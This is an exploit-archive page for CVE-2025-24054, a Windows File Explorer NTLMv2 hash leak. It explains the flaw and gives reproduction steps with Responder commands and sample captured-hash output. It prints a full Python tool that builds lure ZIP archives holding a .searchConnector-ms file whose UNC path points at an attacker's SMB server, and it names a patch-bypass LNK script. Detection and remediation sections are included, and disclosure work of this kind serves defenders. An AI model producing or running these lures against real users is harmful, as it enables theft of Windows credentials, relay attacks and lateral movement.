PoC Archive PoC Archive
Medium CVE-2025-24054 patched

Windows NTLM Hash Disclosure via File Explorer - CVE-2025-24054

by Untouchable17 · 2026-05-17

CVSS 6.5/10
Severity
Medium
CVE
CVE-2025-24054
Category
binary
Affected product
Windows File Explorer (Windows Shell)
Affected versions
Windows 10, Windows 11, Windows Server — prior to March 2025 patch
Disclosed
2026-05-17
Patch status
patched

Metadata

FieldValue
Date Added2026-05-17
Last Updated2025-11-24
Author / ResearcherUntouchable17
CVE / AdvisoryCVE-2025-24054
Categorybinary
SeverityMedium
CVSS Score6.5 (CVSSv3)
StatusPatched
TagsNTLM, NTLMv2, hash-disclosure, zero-click, Windows, File-Explorer, UNC, SMB, credential-theft, in-the-wild, state-sponsored
RelatedN/A

Affected Target

FieldValue
Software / SystemWindows File Explorer (Windows Shell)
Versions AffectedWindows 10, Windows 11, Windows Server — prior to March 2025 patch
Language / PlatformWindows, Python 3.6+, PowerShell 5.1+
Authentication RequiredNo
Network Access RequiredYes (attacker must operate a reachable SMB server to capture hashes)

Summary

CVE-2025-24054 is a zero-click NTLMv2-SSP hash disclosure vulnerability in Windows File Explorer. When a user opens a ZIP archive containing a crafted .searchConnector-ms file, Windows Explorer automatically resolves an embedded UNC path during file preview, triggering an outbound SMB authentication attempt to an attacker-controlled server — leaking the victim’s NTLMv2 hash without any user interaction beyond opening the archive. The vulnerability was exploited in the wild since at least March 2025 by state-sponsored actors. Microsoft patched the initial vector, but the researcher also documents two subsequent patch bypasses (CVE-2025-50154 / CVE-2025-59214) using LNK files in ZIP archives. Related vulnerability: CVE-2025-24071.


Vulnerability Details

Root Cause

The fundamental security issue resides in Windows Shell’s automatic processing of embedded UNC paths within specific XML-based file formats (.searchConnector-ms, .library-ms) during preview operations. The simpleLocation/url element in a searchConnectorDescription XML document is silently resolved by the Windows Search Indexer and Explorer shell when the containing archive is opened. This processing occurs without user consent, triggering NTLM authentication to the UNC server and exposing the NTLMv2-SSP hash. The ZIP container additionally bypasses Mark-of-the-Web (MOTW) protections.

Attack Vector

Phase 1 (CVE-2025-24054 - original):

  1. Attacker generates a .searchConnector-ms XML payload with UNC path pointing to attacker SMB server.
  2. Payload is packaged into a ZIP archive with a socially-engineered filename.
  3. Victim receives ZIP via email, download, or file share and opens it in Windows Explorer.
  4. Explorer automatically previews the .searchConnector-ms file and resolves the UNC path.
  5. Windows sends NTLMv2-SSP authentication to attacker’s SMB server; attacker captures the hash.

Phase 2 (Patch bypass - CVE-2025-50154 / CVE-2025-59214):

  1. After Microsoft’s initial patch, attacker creates a .lnk shortcut file with UNC path in TargetPath.
  2. LNK is packaged in ZIP; Windows Explorer fetches icon metadata and resolves the UNC path during ZIP preview.
  3. Hash leaks via the same NTLMv2-SSP mechanism.

Impact

Capture of the victim’s NTLMv2 hash, which can be used for:

  • Offline password cracking (hashcat, john)
  • NTLM relay attacks to authenticate to other services on the network without cracking
  • Lateral movement and privilege escalation in Active Directory environments

Environment / Lab Setup

OS:          Windows 10 / Windows 11 (unpatched, pre-March 2025)
Target:      Windows File Explorer on victim host
Attacker:    Linux/Windows with Responder or Impacket SMB server
Tools:       Python 3.6+, colorama, Responder / impacket-smbserver

Setup Steps

1
2
3
4
pip install colorama

responder -I eth0 -w
python ntml-disclosure-poc.py 192.168.1.100

Proof of Concept

Step-by-Step Reproduction

  1. Generate payload — Create ZIP containing .searchConnector-ms with attacker UNC path.

    1
    2
    3
    
    python ntml-disclosure-poc.py 192.168.1.100
    # Optional: custom output filename
    python ntml-disclosure-poc.py 192.168.1.100 -o lure_document.zip
    
  2. Start SMB listener — Capture incoming NTLMv2-SSP hash.

    1
    
    responder -I eth0 -w
    
  3. Deliver payload — Send ZIP to victim via email, messaging platform, or file share.

  4. Victim opens ZIP — Windows Explorer automatically triggers UNC resolution; NTLMv2 hash is captured on attacker server.

  5. Patch bypass (LNK method) — For patched systems, use patch_bypass.ps1:

    1
    
    .\patch_bypass.ps1 -IP 192.168.1.100 -Lure "Finance_Report_Q4" -KeepLnk
    

Exploit Code

See ntml-disclosure-poc.py (Phase 1 - searchConnector method) and patch_bypass.ps1 (Phase 2 - LNK bypass) in this folder.

1
unc_path = f"\\\\{target_server}\\sharedir_1337"

Expected Output

[+] Listener: 192.168.1.100
[*] Resource path: \\192.168.1.100\sharedir_1337
[*] COMPLETE Package: Project_20251123_175037.zip

[SMB] NTLMv2-SSP Client: 192.168.1.50
[SMB] NTLMv2-SSP Username: DOMAIN\victim
[SMB] NTLMv2-SSP Hash: victim::DOMAIN:...

Screenshots / Evidence


Detection & Indicators of Compromise

SIEM / IDS Rule (example):

alert tcp any any -> !$HOME_NET 445 (msg:"Outbound SMB - possible NTLM hash leak CVE-2025-24054"; 
  flow:established,to_server; sid:9000101;)

Remediation

ActionDetail
PatchApply Microsoft March 2025 cumulative update addressing CVE-2025-24054
WorkaroundBlock outbound SMB (port 445) at perimeter firewall; disable NTLM authentication where possible
Config HardeningEnable “Restrict NTLM: Outgoing NTLM traffic to remote servers” Group Policy; deploy SMB signing

References


Notes

Repository implements two attack phases: the original CVE-2025-24054 vector (searchConnector-ms in ZIP) via ntml-disclosure-poc.py, and a patch bypass using LNK files in ZIP (CVE-2025-50154 / CVE-2025-59214) via patch_bypass.ps1. The Python PoC filename has a typo (ntml instead of ntlm) — preserved as-is from upstream. The patch bypass vector (LNK-in-ZIP) was active and unpatched at time of researcher publication. Requires attacker-controlled SMB server reachable from victim network — commonly used with Responder or Impacket.

Auto-ingested from https://github.com/Untouchable17/CVE-2025-24054 on 2026-05-17.

ntml-disclosure-poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
import os, json, zipfile, random, argparse, tempfile, hashlib
from typing import List, Optional, Dict, Any
from abc import ABC, abstractmethod
from dataclasses import dataclass
from enum import Enum
from pathlib import Path
from xml.dom import minidom
from datetime import datetime
import xml.etree.ElementTree as ET

from colorama import Fore, Style, init

init(autoreset=True)


class PayloadType(Enum):
    SEARCH_CONNECTOR = "searchConnector-ms"
    LIBRARY_FILE = "library-ms"

class SecurityContext:
    def __init__(self):
        self._whitelisted_servers = set()
        self._obfuscation_level = 3
        
    def validate_target(self, target: str) -> bool:
        if not target or '://' in target:
            return False
        return len(target.split('.')) >= 2


@dataclass(frozen=True)
class PayloadDescriptor:
    target_server: str
    share_name: str
    payload_type: PayloadType
    metadata: Dict[str, Any]


class IFilePayloadFactory(ABC):
    @abstractmethod
    def create_payload(self, descriptor: PayloadDescriptor) -> str:
        pass
    
    @abstractmethod
    def get_file_extension(self) -> str:
        pass


class XMLPayloadFactory(IFilePayloadFactory):
    def __init__(self, security_context: SecurityContext):
        self._security_context = security_context
        self._template_registry = self._initialize_templates()
    
    def _initialize_templates(self) -> Dict[PayloadType, Dict[str, Any]]:
        return {
            PayloadType.SEARCH_CONNECTOR: {
                'root_element': 'searchConnectorDescription',
                'namespace': 'http://schemas.microsoft.com/windows/2009/library',
                'template_id': '{7D49D726-3C21-4F05-99AA-FDC2C9474656}'
            }
        }
    
    def _build_xml_structure(self, descriptor: PayloadDescriptor) -> ET.Element:
        template_config = self._template_registry[descriptor.payload_type]
        
        root = ET.Element(template_config['root_element'])
        root.set('xmlns', template_config['namespace'])
        
        elements = [
            self._create_icon_element(),
            self._create_description_element(),
            self._create_boolean_elements(),
            self._create_template_info(template_config),
            self._create_location_element(descriptor)
        ]
        
        for element in elements:
            root.append(element)
            
        return root
    
    def _create_icon_element(self) -> ET.Element:
        icon = ET.Element('iconReference')
        icon.text = 'imageres.dll,-1002'
        return icon
    
    def _create_description_element(self) -> ET.Element:
        desc = ET.Element('description')
        desc.text = '@shell32.dll,-34575'
        return desc
    
    def _create_boolean_elements(self) -> ET.Element:
        container = ET.Element('settings')
        
        is_search = ET.SubElement(container, 'isSearchOnlyItem')
        is_search.text = 'false'
        
        include_menu = ET.SubElement(container, 'includeInStartMenu')
        include_menu.text = 'false'
        
        return container
    
    def _create_template_info(self, template_config: Dict[str, Any]) -> ET.Element:
        template_info = ET.Element('templateInfo')
        folder_type = ET.SubElement(template_info, 'folderType')
        folder_type.text = template_config['template_id']
        return template_info
    
    def _create_location_element(self, descriptor: PayloadDescriptor) -> ET.Element:
        simple_location = ET.Element('simpleLocation')
        url = ET.SubElement(simple_location, 'url')
        
        unc_path = f"\\\\{descriptor.target_server}\\{descriptor.share_name}"
        url.text = unc_path
        
        return simple_location
    
    def create_payload(self, descriptor: PayloadDescriptor) -> str:
        xml_root = self._build_xml_structure(descriptor)
        rough_string = ET.tostring(xml_root, 'utf-8')
        reparsed = minidom.parseString(rough_string)
        return reparsed.toprettyxml(indent="  ")
    
    def get_file_extension(self) -> str:
        return ".xml"

class ArchiveComposer:
    def __init__(self, compression_level: int = 6):
        self._compression_level = compression_level
        self._file_registry = {}
    
    def compose_archive(self, payload_path: str, output_path: str, metadata: Dict[str, Any]) -> str:
        
        with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED, 
                           compresslevel=self._compression_level) as archive:
            
            payload_name = self._generate_payload_filename(metadata)
            archive.write(payload_path, payload_name)
            
            self._file_registry[output_path] = {
                'payload': payload_name,
                'metadata': metadata
            }
        
        return output_path
    
    def _generate_payload_filename(self, metadata: Dict[str, Any]) -> str:
        doc_type = random.choice([
            "Finance", "Employeer"
        ])
        
        suffix = hashlib.md5(json.dumps(metadata, sort_keys=True).encode()).hexdigest()[:8]
        return f"{doc_type}_{suffix}.searchConnector-ms"

class DocumentGenerator:
    def __init__(self, security_context: SecurityContext):
        self._security_context = security_context
        self._payload_factories = self._initialize_factories()
        self._archive_composer = ArchiveComposer()
    
    def _initialize_factories(self) -> Dict[PayloadType, IFilePayloadFactory]:
        return {
            PayloadType.SEARCH_CONNECTOR: XMLPayloadFactory(self._security_context)
        }
    
    def generate_operation_package(self, target_server: str, output_path: Optional[str] = None) -> str:
        
        if not self._security_context.validate_target(target_server):
            raise ValueError(f"Invalid target server: {target_server}")
        
        descriptor = PayloadDescriptor(
            target_server=target_server,
            share_name=f"sharedir_1337",  # or your path (optional)
            payload_type=PayloadType.SEARCH_CONNECTOR,
            metadata={
                'timestamp': self._get_current_timestamp(),
                'operation_id': self._generate_operation_id()
            }
        )
        
        payload_content = self._generate_payload_content(descriptor)
        
        with tempfile.NamedTemporaryFile(mode='w', delete=False, suffix='.xml', encoding='utf-8') as temp_file:
            temp_file.write(payload_content)
            temp_path = temp_file.name
        
        try:
            final_output = output_path or self._generate_output_filename()
            
            result_path = self._archive_composer.compose_archive(
                temp_path, final_output, descriptor.metadata
            )
            
            self._log_operation_result(descriptor, result_path)
            return result_path
            
        finally:
            if os.path.exists(temp_path):
                os.unlink(temp_path)
    
    def _generate_payload_content(self, descriptor: PayloadDescriptor) -> str:
        factory = self._payload_factories[descriptor.payload_type]
        return factory.create_payload(descriptor)
    
    def _generate_output_filename(self) -> str:
        prefixes = ["Project", "Report", "Analysis", "Document", "Review"]
        return f"{random.choice(prefixes)}_{self._get_current_timestamp()}.zip"
    
    def _get_current_timestamp(self) -> str:
        return datetime.now().strftime("%Y%m%d_%H%M%S")
    
    def _generate_operation_id(self) -> str:
        return hashlib.sha256(os.urandom(32)).hexdigest()[:16]
    
    def _log_operation_result(self, descriptor: PayloadDescriptor, output_path: str):
        print(f"{Fore.GREEN}[+] Listener:{Style.RESET_ALL} {descriptor.target_server}")
        print(f"{Fore.GREEN}[*] Resource path:{Style.RESET_ALL} \\\\\\\\{descriptor.target_server}\\\\{descriptor.share_name}")
        print(f"{Fore.CYAN}[*] COMPLETE{Style.RESET_ALL} Package: {Fore.CYAN}{output_path}{Style.RESET_ALL}")
        print(f"{Fore.CYAN}[*] METADATA{Style.RESET_ALL} OperationID: {Fore.CYAN}{descriptor.metadata['operation_id']}{Style.RESET_ALL}")


class ApplicationController:
    
    def __init__(self):
        self._security_context = SecurityContext()
        self._document_generator = DocumentGenerator(self._security_context)

    def print_banner():
        banner = f"""\n\n
            \t\t███████{Fore.RED}{Style.RESET_ALL}███████{Fore.RED}{Style.RESET_ALL} ██████{Fore.RED}{Style.RESET_ALL}██████{Fore.RED}{Style.RESET_ALL}███████{Fore.RED}{Style.RESET_ALL}████████{Fore.RED}{Style.RESET_ALL}  
            \t\t██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}██{Fore.RED}╔══{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}██{Fore.RED}╔════╝{Style.RESET_ALL}{Fore.RED}╚══{Style.RESET_ALL}██{Fore.RED}╔══╝{Style.RESET_ALL}
            \t\t███████{Fore.RED}{Style.RESET_ALL}█████{Fore.RED}{Style.RESET_ALL}  ██{Fore.RED}{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}█████{Fore.RED}{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}  
            \t\t{Fore.RED}╚════{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}██{Fore.RED}╔══╝  {Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}██{Fore.RED}╔══╝     {Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}  
            \t\t███████{Fore.RED}{Style.RESET_ALL}███████{Fore.RED}{Style.RESET_ALL}{Fore.RED}{Style.RESET_ALL}██████{Fore.RED}{Style.RESET_ALL}██████{Fore.RED}╔╝{Style.RESET_ALL}███████{Fore.RED}{Style.RESET_ALL}██{Fore.RED}{Style.RESET_ALL}  
            \t\t{Fore.RED}╚══════╝╚══════╝ ╚═════╝╚═════╝ ╚══════╝   ╚═╝   {Style.RESET_ALL}  
            {Style.RESET_ALL}.______________________________________________________{Fore.RED}|_._._._._._._._._._.{Style.RESET_ALL}
            {Style.RESET_ALL} \\_____________________________________________________{Fore.RED}|_#_#_#_#_#_#_#_#_#_|{Style.RESET_ALL}
                                                                   {Fore.RED}l                      {Style.RESET_ALL}
            \t\t{Fore.MAGENTA}NTLM Hash Disclosure (NTLMv2-SSP) - {Fore.RED}CVE-2025-24054 {Style.RESET_ALL}\n
        """
        print(banner)
    
    def execute_operation(self, target: str, output: Optional[str] = None) -> int:
        try:
            result_path = self._document_generator.generate_operation_package(
                target, output
            )
            
            self._display_operation_summary(result_path, target)
            return 0
            
        except Exception as e:
            print(f"[ERROR] Operation failed: {str(e)}")
            return 1
    
    def _display_operation_summary(self, result_path: str, target: str):
        print("-=-"*20)
        print(f"{Fore.CYAN}[*] Output:{Style.RESET_ALL} {Path(result_path).absolute()}")
        print(f"{Fore.CYAN}[*] File Size:{Style.RESET_ALL} {os.path.getsize(result_path)} bytes")
        print(f"{Fore.CYAN}[*] Status:{Style.RESET_ALL} {Fore.GREEN}READY_FOR_DEPLOYMENT{Style.RESET_ALL}\n")


def main():

    ApplicationController.print_banner()

    parser = argparse.ArgumentParser(description="Advanced Document Packaging System", formatter_class=argparse.RawDescriptionHelpFormatter)
    parser.add_argument("target", help="Target endpoint for resource coordination")
    
    parser.add_argument(
        "-o", "--output",
        help="Output package filename",
        default=None
    )
    
    args = parser.parse_args()
    
    app_controller = ApplicationController()
    return app_controller.execute_operation(args.target, args.output)

if __name__ == "__main__":
    exit(main())